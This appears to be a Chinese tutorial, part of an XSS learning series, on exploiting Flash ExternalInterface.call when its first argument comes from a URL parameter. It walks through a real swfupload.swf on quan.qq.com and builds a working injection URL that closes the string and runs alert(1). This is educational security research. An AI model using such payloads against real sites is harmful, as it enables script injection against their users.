那些年我们一起学XSS - 15. Flash Xss进阶 [ExternalInterface.call第一个参数]

2019-11-20 11:31:26 浏览数 (1)

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Flash Xss进阶 [ExternalInterface.call第一个参数]

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除了上一节讲到的navigateToURL/getURL之外呢,另一个经常存在XSS缺陷的as函数就是ExternalInterface.call,此函数作为FLASH与宿主页面javascript通信的接口,一般来说,有“2”个参数,第一个参数为所调用js函数名,后续的其他参数则为所调用的js函数的参数。那么在参数可控的情况下,不论是第一个参数或是后续参数可控,我们均能加以利用实现XSS。本节先说一说第一个参数可控的情况。

1. 先从程序员的角度说下基础知识,有时候,我们需要在FLASH里调用当前页面中的javascript函数,例如:一个简单的需求,我们要在游戏加载完成后,执行弹出1的操作。 javascript代码:

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alert(1)

as代码

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ExternalInterface.call("alert","1");

2. 有的程序员就会觉得,直接弹出1太丑了吧。于是他自己写个js的函数

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function myalert(str){
    //显示一个漂亮的浮动层,并且把str显示在上面。
}

然后在as里

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ExternalInterface.call("myalert","1");

3. 又有一天,另外一个程序员觉得上面那个程序员写的东西不错,但是他的JS函数名不叫myalert,于是喊那个程序员改下as代码。于是那个程序员觉得,免得以后老是有人喊我改代码,他就将代码写成了下面这个样子。

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var func:String=root.loaderInfo.parameters.func; //接受FLASH所带的func参数
ExternalInterface.call(func,"1");

这样一来,其他想用这个FLASH的人,不需要修改FLASH,只需要调用FLASH的时候带上参数即可。 比如我的JS函数是newalert, 我只需要按照下面这么调用:

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http://some.com/xxx.swf?func=newalert

4. 上述过程提高了程序的可重用性,为开发人员带来了极大的便利,但是却是缺乏安全考虑的。 攻击者可以采用以下的方式来执行自己的代码 http://some.com/xxx.swf?func=(function(){alert("hi jack")})

5. 为了方便理解,我们可以将

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ExternalInterface.call("函数名","参数1");

看成JS里的

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函数名("参数1");

而FLASH里实际最后执行的JS代码,形式如下(至于下面这句哪里来的,暂时不表):

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try { __flash__toXML(函数名("参数1")) ; } catch (e) { "<undefined/>"; }

因而 函数名 部分也可以写为 (function(){alert("hi jack")}) 的形式。 6. 上面说的是理论基础,有了这个基础,我们来看实例,就比较简单了。 http://quan.qq.com/swf/swfupload.swf 7. 怎么反编译,见上一篇。我们来看怎么查找缺陷。 8. 因为这是一个AS3.0的FLASH文件,我们首先确定FLASH是否有接受参数。 as3.0 接受参数的方法,所有参数存放在 root.loaderInfo.parameters 对象里。 例如 aaa.swf?a=1&b=2&c=3, 那么 root.loaderInfo.parameters 则等于 { "a":1, "b":2, "c":3 } 9. 我们可以定位到 movieName变量

可以看出,FLASH的movieName参数,存放到了this.movieName中。

10.进一步, this.movieName被带入了到了this.flashReady_Callback及其它变量。

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this.flashReady_Callback = (("SWFUpload.instances[""   this.movieName)   ""].flashReady");

11. 我们再进一步看看,this.flashReady_Callback 被用到了哪里。

12. 再接着看看调用 this.flashReady_Callback 的Simple函数是啥样子的。

可以看到,最终这个参数被放到 ExternalInterface.call 的第一个参数中执行了。 13. 是不是很激动。我们来假设一下,按下面调用FLASH http://quan.qq.com/swf/swfupload.swf?movieName=aaaaaaaa 那么this.flashReady_Callback就等于以下内容。 SWFUpload.instances["aaaaaaaa"].flashReady 最终调用的是 ExternalInterface.call('SWFUpload.instances["aaaaaaaa"].flashReady'); 14. 如果我们要调用自己的JS代码,就需要构造闭合,但是你会发现有一定问题。。 我们最多能够造成下面的模样。

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ExternalInterface.call('SWFUpload.instances["aaa"];function SWFUpload(){};SWFUpload["aaa"].flashReady');

但是这样是无法正确执行的,因为 SWFUpload.instances没有被定义,从而SWFUpload.instances["aaa"]会失败。 15. 怎么办呢?这里就要拿出我们第5步里的知识了。我们把“函数名”换成call的第一个参数内容。变成下面的形式。

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try { __flash__toXML(SWFUpload.instances["aaaaaaaa"].flashReady("参数1")) ; } catch (e) { "<undefined/>"; }

我们再基于以上代码来构造,

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try { __flash__toXML(SWFUpload.instances["aaa"])}catch(e){alert(1)};//"].flashReady("参数1")) ; } catch (e) { "<undefined/>"; }

图片解析:

上面一行不好看懂的话,写的好看点。

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try {
	__flash__toXML(SWFUpload.instances["aaa"])   //此行代码,因为SWFUpload未定义,出错,跳转到catch部分
}catch(e){
	alert(1); //这里将会被执行。
};
//"].flashReady("参数1")) ; } catch (e) { "<undefined/>"; }

16. 最后,我们把构造的代码,放进FLASH的参数里

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http://quan.qq.com/swf/swfupload.swf?movieName=aaa"])}catch(e){alert(1)};//

可以看到成功执行alert(1)

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